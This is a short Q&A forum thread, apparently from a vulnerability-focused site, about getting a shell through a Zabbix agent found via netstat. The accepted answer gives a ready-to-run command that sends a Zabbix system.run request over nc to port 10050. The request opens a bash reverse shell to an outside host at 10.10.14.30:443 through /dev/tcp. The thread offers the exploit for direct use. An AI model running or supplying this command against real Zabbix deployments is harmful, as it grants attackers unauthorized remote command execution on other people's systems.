0 votes
by (141 points)

From netstat found a connection from a Zabbix agent on 172.17.0.1 to the Zabbix server port 10051. How can I back connect?

1 Answer

0 votes
by (176 points)
 
Best answer

Zabbix server can interact directly with the Zabbix agent on port 10050. So we can execute commands through the agent using system.run!

[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/10.10.14.30/443 0<&1 2>&1 &')]" | nc 172.17.0.1 10050
Welcome to Codeshikari Q&A, where you can ask any vulnerability related questions and receive answers from the experts of the community. Screenshot-from-2019-03-15-23-08-47

...